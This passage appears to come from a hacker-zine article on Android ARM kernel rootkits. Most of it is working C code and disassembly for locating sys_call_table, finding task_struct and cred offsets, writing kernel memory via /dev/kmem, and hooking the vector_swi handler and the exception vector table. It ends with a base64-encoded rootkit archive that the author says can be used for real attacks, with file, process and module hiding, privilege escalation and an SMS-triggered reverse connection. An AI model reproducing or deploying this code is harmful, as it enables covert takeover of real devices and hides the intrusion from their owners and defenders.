[*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer 10c: e599c000 ldr ip, [r9] ; check for syscall tracing The asterisk part is the code of sys_call_table. This code notifies the start of sys_call_table at the appointed offset from the present pc address. So, we can get the offset value to figure out the position of sys_call_table if we can find opcode pattern corresponding to "add r8, pc" instruction. opcode: 0xe28f8??? if(((*(unsigned long *)vector_swi_addr)&0xfffff000)==0xe28f8000){ offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8; sys_call_table=(void *)vector_swi_addr+offset; break; From this, we can get the address of sys_call_table handled in vector_swi handler routine. And there is an easier way to do this. --[ 2.1.2 - Finding sys_call_table addr through sys_close addr searching The second way to get the address of sys_call_table is simpler than the way introduced in 2.1.1. This way is to find the address by using the fact that sys_close address, with open symbol, is in 0x6 offset from the starting point of sys_call_table. ... the same vector_swi address searching routine parts omitted ... while(vector_swi_addr++){ if(*(unsigned long *)vector_swi_addr==&sys_close){ sys_call_table=(void *)vector_swi_addr-(6*4); break; } } } By using the fact that sys_call_table resides after vector_swi handler address, we can search the sys_close which is appointed as the sixth system call of sys_table_call. fs/open.c: EXPORT_SYMBOL(sys_close); ... call.S: /* 0 */ CALL(sys_restart_syscall) CALL(sys_exit) CALL(sys_fork_wrapper) CALL(sys_read) CALL(sys_write) /* 5 */ CALL(sys_open) CALL(sys_close) This searching way has a technical disadvantage that we must get the sys_close kernel symbol address beforehand if it's implemented in user mode. --[ 2.2 - Identifying sys_call_table size The hooking technique which will be introduced in section 4 changes the sys_call_table handle code within vector_swi handler. It generates the copy of the existing sys_call_table in the heap memory. Because the size of sys_call_table varies in each platform kernel version, we need a precise size of sys_call_table to generate a copy. ... the same vector_swi address searching routine parts omitted ... while(vector_swi_addr++){ if(((*(unsigned long *)vector_swi_addr)& 0xffff0000)==0xe3570000){ i=0x10-(((*(unsigned long *)vector_swi_addr)& 0xff00)>>8); size=((*(unsigned long *)vector_swi_addr)& 0xff)<<(2*i); break; } } } This code searches code which controls the size of sys_call_table within vector_swi routine and then gets the value, the size of sys_call_table. The following code determines the size of sys_call_table, and it makes a part of a function that calls system call saved in sys_call_table. 118: e92d0030 stmdb sp!, {r4, r5} ; push fifth and sixth args 11c: e31c0c01 tst ip, #256 ; are we tracing syscalls? 120: 1a000008 bne 148 <__sys_trace> [*]124: e3570f5b cmp r7, #364 ; check upper syscall limit 128: e24fee13 sub lr, pc, #304 ; return address 12c: 3798f107 ldrcc pc, [r8, r7, lsl #2] ; call sys_* routine The asterisk part compares the size of sys_call_table. This code checks if the r7 register value which contains system call number is bigger than syscall limit. So, if we search opcode pattern(0xe357????) corresponding to "cmp r7", we can get the exact size of sys_call_table. For your information, all of the offset values can be obtained by using ARM architecture operand counting method. --[ 2.3 - Getting over the problem of structure size in kernel versions Even if you are using the same version of kernels, the size of structure varies according to the compile environments and config options. Thus, if we use a wrong structure with a wrong size, it is not likely to work as we expect. To prevent errors caused by the difference of structure offset and to enable our code to work in various kernel environments, we need to build a function which gets the offset needed from the structure. void find_offset(void){ unsigned char *init_task_ptr=(char *)&init_task; int offset=0,i; char *ptr=0; /* getting the position of comm offset within task_struct structure */ for(i=0;i<0x600;i++){ if(init_task_ptr[i]=='s'&&init_task_ptr[i+1]=='w'&& init_task_ptr[i+2]=='a'&&init_task_ptr[i+3]=='p'&& init_task_ptr[i+4]=='p'&&init_task_ptr[i+5]=='e'&& init_task_ptr[i+6]=='r'){ comm_offset=i; break; } } /* getting the position of tasks.next offset within task_struct structure */ init_task_ptr+=0x50; for(i=0x50;i<0x300;i+=4,init_task_ptr+=4){ offset=*(long *)init_task_ptr; if(offset&&offset>0xc0000000){ offset-=i; offset+=comm_offset; if(strcmp((char *)offset,"init")){ continue; } else { next_offset=i; /* getting the position of parent offset within task_struct structure */ for(;i<0x300;i+=4,init_task_ptr+=4){ offset=*(long *)init_task_ptr; if(offset&&offset>0xc0000000){ offset+=comm_offset; if(strcmp ((char *)offset,"swapper")) { continue; } else { parent_offset=i+4; break; } } } break; } } } /* getting the position of cred offset within task_struct structure */ init_task_ptr=(char *)&init_task; init_task_ptr+=comm_offset; for(i=0;i<0x50;i+=4,init_task_ptr-=4){ offset=*(long *)init_task_ptr; if(offset&&offset>0xc0000000&&offset<0xd0000000&& offset==*(long *)(init_task_ptr-4)){ ptr=(char *)offset; if(*(long *)&ptr[4]==0&& *(long *)&ptr[8]==0&& *(long *)&ptr[12]==0&& *(long *)&ptr[16]==0&& *(long *)&ptr[20]==0&& *(long *)&ptr[24]==0&& *(long *)&ptr[28]==0&& *(long *)&ptr[32]==0){ cred_offset=i; break; } } } /* getting the position of pid offset within task_struct structure */ pid_offset=parent_offset-0xc; return; } This code gets the information of PCB(process control block) using some features that can be used as patterns of task_struct structure. First, we need to search init_task for the process name "swapper" to find out address of "comm" variable within task_struct structure created before init process. Then, we search for "next" pointer from "tasks" which is a linked list of process structure. Finally, we use "comm" variable to figure out whether the process has a name of "init". If it does, we get the offset address of "next" pointer. include/linux/sched.h: struct task_struct { ... struct list_head tasks; ... pid_t pid; ... struct task_struct *real_parent; /* real parent process */ struct task_struct *parent; /* recipient of SIGCHLD, wait4() reports */ ... const struct cred *real_cred; /* objective and real subjective task * credentials (COW) */ const struct cred *cred; /* effective (overridable) subjective task */ struct mutex cred_exec_mutex; /* execve vs ptrace cred calculation mutex */ char comm[TASK_COMM_LEN]; /* executable name ... */ After this, we get the parent pointer by checking some pointers. And if this is a right parent pointer, it has the name of previous task(init_task) process, swapper. The reason we search the address of parent pointer is to get the offset of pid variable by using a parent offset as a base point. To get the position of cred structure pointer related with task privilege, we perform backward search from the point of comm variable and check if the id of each user is 0. --[ 2.4 - Treating version magic Check the whitepaper[11] of Christian Papathanasiou and Nicholas J. Percoco in Defcon 18. The paper introduces the way of treating version magic by modifying the header of utsrelease.h when we compile LKM rootkit module. In fact, I have used a tool which overwrites the vermagic value of compiled kernel module binary directly before they presented. --[ 3 - sys_call_table hooking through /dev/kmem access technique I hope you take this section as a warming-up. If you want to know more detailed background knowledge about /dev/kmem access technique, check the "Run-time kernel patching" by Silvio and "Linux on-the-fly kernel patching without LKM" by sd. At least until now, the root privilege of access to /dev/kmem device within linux kernel in Android platform is allowed. So, it is possible to move through lseek() and to read through read(). Newly written /dev/kmem access routines are as follows. #define MAP_SIZE 4096UL #define MAP_MASK (MAP_SIZE - 1) int kmem; /* read data from kmem */ void read_kmem(unsigned char *m,unsigned off,int sz) { int i; void *buf,*v_addr; if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE, MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){ perror("read: mmap error"); exit(0); } for(i=0;i<sz;i++){ v_addr=buf+(off&MAP_MASK)+i; m[i]=*((unsigned char *)v_addr); } if(munmap(buf,MAP_SIZE*2)==-1){ perror("read: munmap error"); exit(0); } return; } /* write data to kmem */ void write_kmem(unsigned char *m,unsigned off,int sz) { int i; void *buf,*v_addr; if((buf=mmap(0,MAP_SIZE*2,PROT_READ|PROT_WRITE, MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){ perror("write: mmap error"); exit(0); } for(i=0;i<sz;i++){ v_addr=buf+(off&MAP_MASK)+i; *((unsigned char *)v_addr)=m[i]; } if(munmap(buf,MAP_SIZE*2)==-1){ perror("write: munmap error"); exit(0); } return; } This code makes the kernel memory address we want shared with user memory area as much as the size of two pages and then we can read and write the kernel by reading and writing on the shared memory. Even though the searched sys_call_table is allocated in read-only area, we can simply modify the contents of sys_call_table through /dev/kmem access technique. The example of hooking through sys_call_table modification is as follows. kmem=open("/dev/kmem",O_RDWR|O_SYNC); if(kmem<0){ return 1; } ... if(c=='I'||c=='i'){ /* install */ addr_ptr=(char *)get_kernel_symbol("hacked_getuid"); write_kmem((char *)&addr_ptr,addr+__NR_GETUID*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_writev"); write_kmem((char *)&addr_ptr,addr+__NR_WRITEV*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_kill"); write_kmem((char *)&addr_ptr,addr+__NR_KILL*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_getdents64"); write_kmem((char *)&addr_ptr,addr+__NR_GETDENTS64*4,4); } else if(c=='U'||c=='u'){ /* uninstall */ ... } close(kmem); The attack code can be compiled in the mode of LKM module and general ELF32 executable file format. --[ 4 - modifying sys_call_table handle code in vector_swi handler routine The techniques introduced in section 3 are easily detected by rootkit detection tools. So, some pioneers have researched the ways which modify some parts of exception handler function processing software interrupt. The technique introduced in this section generates a copy version of sys_call_table in kernel heap memory without modifying the sys_call_table directly. static void *hacked_sys_call_table[500]; static void **sys_call_table; int sys_call_table_size; ... int init_module(void){ ... get_sys_call_table(); // position and size of sys_call_table memcpy(hacked_sys_call_table,sys_call_table,sys_call_table_size*4); After generating this copy version, we have to modify some parts of sys_call_table processed within vector_swi handler routine. It is because sys_call_table is handled as a offset, not an address. It is a feature that separates ARM architecture from ia32 architecture. code before compile: ENTRY(vector_swi) ... get_thread_info tsk adr tbl, sys_call_table ; load syscall table pointer ~~~~~~~~~~~~~~~~~~~~~~~~~~~ -> code of sys_call_table ldr ip, [tsk, #TI_FLAGS] ; @ check for syscall tracing code after compile: 000000c0 <vector_swi>: ... 100: e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk 104: e1a09689 mov r9, r9, lsl #13 [*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer ~~~~~~~~~~~~~~~~~~~~ +-> deal sys_call_table as relative offset 10c: e599c000 ldr ip, [r9] ; check for syscall tracing So, I contrived a hooking technique modifying "add r8, pc, #offset" code itself like this. before modifying: e28f80?? add r8, pc, #?? after modifying: e59f80?? ldr r8, [pc, #??] These instructions get the address of sys_call_table at the specified offset from the present pc address and then store it in r8 register. As a result, the address of sys_call_table is stored in r8 register. Now, we have to make a separated space to store the address of sys_call_table copy near the processing routine. After some consideration, I decided to overwrite nop code of other function's epilogue near vector_swi handler. 00000174 <__sys_trace_return>: 174: e5ad0008 str r0, [sp, #8]! 178: e1a02007 mov r2, r7 17c: e1a0100d mov r1, sp 180: e3a00001 mov r0, #1 ; 0x1 184: ebfffffe bl 0 <syscall_trace> 188: eaffffb1 b 54 <ret_to_user> [*]18c: e320f000 nop {0} ~~~~~~~~ -> position to overwrite the copy of sys_call_table 190: e320f000 nop {0} ... 000001a0 <__cr_alignment>: 1a0: 00000000 .... 000001a4 <sys_call_table>: Now, if we count the offset from the address of sys_call_table to the address overwritten with the address of sys_call_table copy and then modify code, we can use the table we copied whenever system call is called. The hooking code modifying some parts of vector_swi handling routine and nop code near the address of sys_call_table is as follows: void install_hooker(){ void *swi_addr=(long *)0xffff0008; unsigned long offset=0; unsigned long *vector_swi_addr=0,*ptr; unsigned char buf[MAP_SIZE+1]; unsigned long modify_addr1=0; unsigned long modify_addr2=0; unsigned long addr=0; char *addr_ptr; offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset); memset((char *)buf,0,sizeof(buf)); read_kmem(buf,(long)vector_swi_addr,MAP_SIZE); ptr=(unsigned long *)buf; /* get the address of ldr that handles sys_call_table */ while(ptr){ if(((*(unsigned long *)ptr)&0xfffff000)==0xe28f8000){ modify_addr1=(unsigned long)vector_swi_addr; break; } ptr++; vector_swi_addr++; } /* get the address of nop that will be overwritten */ while(ptr){ if(*(unsigned long *)ptr==0xe320f000){ modify_addr2=(unsigned long)vector_swi_addr; break; } ptr++; vector_swi_addr++; } /* overwrite nop with hacked_sys_call_table */ addr_ptr=(char *)get_kernel_symbol("hacked_sys_call_table"); write_kmem((char *)&addr_ptr,modify_addr2,4); /* calculate fake table offset */ offset=modify_addr2-modify_addr1-8; /* change sys_call_table offset into fake table offset */ addr=0xe59f8000+offset; /* ldr r8, [pc, #offset] */ addr_ptr=(char *)addr; write_kmem((char *)&addr_ptr,modify_addr1,4); return; } This code gets the address of the code that handles sys_call_table within vector_swi handler routine, and then finds nop code around and stores the address of hacked_sys_call_table which is a copy version of sys_call_table. After this, we get the sys_call_table handle code from the offset in which hacked_sys_call_table resides and then hooking starts. --[ 5 - exception vector table modifying hooking techniques This section discusses two hooking techniques, one is the hooking technique which changes the address of software interrupt exception handler routine within exception vector table and the other is the technique which changes the offset of code branching to vector_swi handler. The purpose of these two techniques is to implement the hooking technique that modifies only exception vector table without changing sys_call_table and vector_swi handler. --[ 5.1 - exception vector table Exception vector table contains the address of various exception handler routines, branch code array and processing codes to call the exception handler routine. These are declared in entry-armv.S, copied to the point of the high vector(0xffff0000) by early_trap_init() routine within traps.c code, and make one exception vector table. traps.c: void __init early_trap_init(void) { unsigned long vectors = CONFIG_VECTORS_BASE; /* 0xffff0000 */ extern char __stubs_start[], __stubs_end[]; extern char __vectors_start[], __vectors_end[]; extern char __kuser_helper_start[], __kuser_helper_end[]; int kuser_sz = __kuser_helper_end - __kuser_helper_start; /* * Copy the vectors, stubs and kuser helpers (in entry-armv.S) * into the vector page, mapped at 0xffff0000, and ensure these * are visible to the instruction stream. */ memcpy((void *)vectors, __vectors_start, __vectors_end - __vectors_start); memcpy((void *)vectors + 0x200, __stubs_start, __stubs_end - __stubs_start); After the processing codes are copied in order by early_trap_init() routine, the exception vector table is initialized, then one exception vector table is made as follows. # ./coelacanth -e [000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array [004] ffff0004: ea0000dd [Undef] ; b 0x380 [008] ffff0008: e59ff410 [SWI] ; ldr pc, [pc, #1040] ; 0x420 [00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300 [010] ffff0010: ea00009a [Abort-data] ; b 0x280 [014] ffff0014: ea0000fa [Reserved] ; b 0x404 [018] ffff0018: ea000078 [IRQ] ; b 0x608 [01c] ffff001c: ea0000f7 [FIQ] ; b 0x400 [020] Reserved ... skip ... [22c] ffff022c: c003dbc0 [__irq_usr] ; exception handler routine addr array [230] ffff0230: c003d920 [__irq_invalid] [234] ffff0234: c003d920 [__irq_invalid] [238] ffff0238: c003d9c0 [__irq_svc] [23c] ffff023c: c003d920 [__irq_invalid] ... [420] ffff0420: c003df40 [vector_swi] When software interrupt occurs, 4 byte instruction at 0xffff0008 is executed. The code copies the present pc to the address of exception handler and then branches. In other words, it branches to the vector_swi handler routine at 0x420 of exception vector table. --[ 5.2 - Hooking techniques changing vector_swi handler The hooking technique changing the vector_swi handler is the first one that will be introduced. It changes the address of exception handler routine that processes software interrupt within exception vector table and calls the vector_swi handler routine forged by an attacker. 1. Generate the copy version of sys_call_table in kernel heap and then change the address of routine as aforementioned. 2. Copy not all vector_swi handler routine but the code before handling sys_call_table to kernel heap for simple hooking. 3. Fill the values with right values for the copied fake vector_swi handler routine to act normally and change the code to call the address of sys_call_table copy version. (generated in step 1) 4. Jump to the next position of sys_call_table handle code of original vector_swi handler routine. 5. Change the address of vector_swi handler routine of exception vector table to the address of fake vector_swi handler code. The completed fake vector_swi handler has a code like following. 00000000 <new_vector_swi>: 00: e24dd048 sub sp, sp, #72 ; 0x48 04: e88d1fff stmia sp, {r0 - r12} 08: e28d803c add r8, sp, #60 ; 0x3c 0c: e9486000 stmdb r8, {sp, lr}^ 10: e14f8000 mrs r8, SPSR 14: e58de03c str lr, [sp, #60] 18: e58d8040 str r8, [sp, #64] 1c: e58d0044 str r0, [sp, #68] 20: e3a0b000 mov fp, #0 ; 0x0 24: e3180020 tst r8, #32 ; 0x20 28: 12877609 addne r7, r7, #9437184 2c: 051e7004 ldreq r7, [lr, #-4] [*]30: e59fc020 ldr ip, [pc, #32] ; 0x58 <__cr_alignment> 34: e59cc000 ldr ip, [ip] 38: ee01cf10 mcr 15, 0, ip, cr1, cr0, {0} 3c: f1080080 cpsie i 40: e1a096ad mov r9, sp, lsr #13 44: e1a09689 mov r9, r9, lsl #13 [*]48: e59f8000 ldr r8, [pc, #0] [*]4c: e59ff000 ldr pc, [pc, #0] [*]50: <hacked_sys_call_table address> [*]54: <vector_swi address to jmp> [*]58: <__cr_alignment routine address referring at 0x30> The asterisk parts are the codes modified or added to the original code. In addition to the part that we modified to make the code refer __cr_alignment function, I added some instructions to save address of sys_call_table copy version to r8 register, and jump back to the original vector_swi handler function. Following is the attack code written as a kernel module. static unsigned char new_vector_swi[500]; ... void make_new_vector_swi(){ void *swi_addr=(long *)0xffff0008; void *vector_swi_ptr=0; unsigned long offset=0; unsigned long *vector_swi_addr=0,orig_vector_swi_addr=0; unsigned long add_r8_pc_addr=0; unsigned long ldr_ip_pc_addr=0; int i; offset=((*(long *)swi_addr)&0xfff)+8; vector_swi_addr=*(unsigned long *)(swi_addr+offset); vector_swi_ptr=swi_addr+offset; /* 0xffff0420 */ orig_vector_swi_addr=vector_swi_addr; /* vector_swi's addr */ /* processing __cr_alignment */ while(vector_swi_addr++){ if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe28f8000){ add_r8_pc_addr=(unsigned long)vector_swi_addr; break; } /* get __cr_alingment's addr */ if(((*(unsigned long *)vector_swi_addr)& 0xfffff000)==0xe59fc000){ offset=((*(unsigned long *)vector_swi_addr)& 0xfff)+8; ldr_ip_pc_addr=*(unsigned long *) ((char *)vector_swi_addr+offset); } } /* creating fake vector_swi handler */ memcpy(new_vector_swi,(char *)orig_vector_swi_addr, (add_r8_pc_addr-orig_vector_swi_addr)); offset=(add_r8_pc_addr-orig_vector_swi_addr); for(i=0;i<offset;i+=4){ if(((*(long *)&new_vector_swi[i])& 0xfffff000)==0xe59fc000){ *(long *)&new_vector_swi[i]=0xe59fc020; // ldr ip, [pc, #32] break; } } /* ldr r8, [pc, #0] */ *(long *)&new_vector_swi[offset]=0xe59f8000; offset+=4; /* ldr pc, [pc, #0] */ *(long *)&new_vector_swi[offset]=0xe59ff000; offset+=4; /* fake sys_call_table */ *(long *)&new_vector_swi[offset]=hacked_sys_call_table; offset+=4; /* jmp original vector_swi's addr */ *(long *)&new_vector_swi[offset]=(add_r8_pc_addr+4); offset+=4; /* __cr_alignment's addr */ *(long *)&new_vector_swi[offset]=ldr_ip_pc_addr; offset+=4; /* change the address of vector_swi handler within exception vector table */ *(unsigned long *)vector_swi_ptr=&new_vector_swi; return; } This code gets the address which processes the sys_call_table within vector_swi handler routine and then copies original contents of vector_swi to the fake vector_swi variable before the address we obtained. After changing some parts of fake vector_swi to make the code refer _cr_alignment function address correctly, we need to add instructions that save the address of sys_call_table copy version to r8 register and jump back to the original vector_swi handler function. Finally, hooking starts when we modify the address of vector_swi handler function within exception vector table. --[ 5.3 - Hooking techniques changing branch instruction offset The second hooking technique to change the branch instruction offset within exception vector table is that we don't change vector_swi handler and change the offset of 4 byte branch instruction code called automatically when the software interrupt occurs. 1. Proceed to step 4 like the way in section 5.1. 2. Store the address of generated fake vector_swi handler routine in the specific area within exception vector table. 3. Change 1 byte which is an offset of 4 byte instruction codes at 0xffff0008 and store. The code compared with section 5.2 is as follows. - *(unsigned long *)vector_swi_ptr=&new_vector_swi; ... + *(unsigned long *)(vector_swi_ptr+4)=&new_vector_swi; /* 0xffff0424 */ ... + *(unsigned long *)swi_addr+=4; /* 0xe59ff410 -> 0xe59ff414 */ The changed exception vector table after hooking is as follows. # ./coelacanth -e [000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch code array [004] ffff0004: ea0000dd [Undef] ; b 0x380 [008] ffff0008: e59ff414 [SWI] ; ldr pc, [pc, #1044] ; 0x424 [00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300 [010] ffff0010: ea00009a [Abort-data] ; b 0x280 [014] ffff0014: ea0000fa [Reserved] ; b 0x404 [018] ffff0018: ea000078 [IRQ] ; b 0x608 [01c] ffff001c: ea0000f7 [FIQ] ; b 0x400 [020] Reserved ... skip ... [420] ffff0420: c003df40 [vector_swi] [424] ffff0424: bf0ceb5c [new_vector_swi] ; fake vector_swi handler code Hooking starts when the address of a fake vector_swi handler code is stored at 0xffff0424 and the 4 byte branch instruction offset at 0xffff0008 changes the address around 0xffff0424 for reference. --[ 6 - Conclusion One more time, I thank many pioneers for their devotion and inspiration. I also hope various Android rootkit researches to follow. It is a pity that I couldn't cover all the ideas that occurred in my mind during writing this paper. However, I also think that it is better to discuss the advanced and practical techniques next time -if you like this one ;-)-. For more information, the attached example code provides not only file & process hiding and kernel module hiding features but also the classical rootkit features such as admin privilege succession to specific gid user and process privilege changing. I referred to the Defcon 18 whitepaper of Christian Papathanasiou and Nicholas J. Percoco for performing the reverse connection when we receive a sms message from an appointed phone number. Thanks to: vangelis and GGUM for translating Korean into English. Other than those who helped me on this paper, I'd like to thank my colleagues, people in my graduate school and everyone who knows me. --[ 7 - References [1] "Abuse of the Linux Kernel for Fun and Profit" by halflife [Phrack issue 50, article 05] [2] "Weakening the Linux Kernel" by plaguez [Phrack issue 52, article 18] [3] "RUNTIME KERNEL KMEM PATCHING" by Silvio Cesare [runtime-kernel-kmem-patching.txt] [4] "Linux on-the-fly kernel patching without LKM" by sd & devik [Phrack issue 58, article 07] [5] "Handling Interrupt Descriptor Table for fun and profit" by kad [Phrack issue 59, article 04] [6] "trojan eraser or i want my system call table clean" by riq [Phrack issue 54, article 03] [7] "yet another article about stealth modules in linux" by riq ["abtrom: anti btrom" in a mail to Bugtraq] [8] "Saint Jude, The Model" by Timothy Lawless [http://prdownloads.sourceforge.net/stjude/StJudeModel.pdf] [9] "IA32 ADVANCED FUNCTION HOOKING" by mayhem [Phrack issue 58, article 08] [10] "Android LKM Rootkit" by fred [http://upche.org/doku.php?id=wiki:rootkit] [11] "This is not the droid you're looking for..." by Trustwave [DEFCON-18-Trustwave-Spiderlabs-Android-Rootkit-WP.pdf] --[ 8 - Appendix: earthworm.tgz.uu I attach a demo code to demonstrate the concepts which I explained in this paper. This code can be used as a real code for attack or just a proof-of- concept code. I wish you use this code only for your study not for a bad purpose. <++> earthworm.tgz.uu begin-base64 644 earthworm.tgz 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 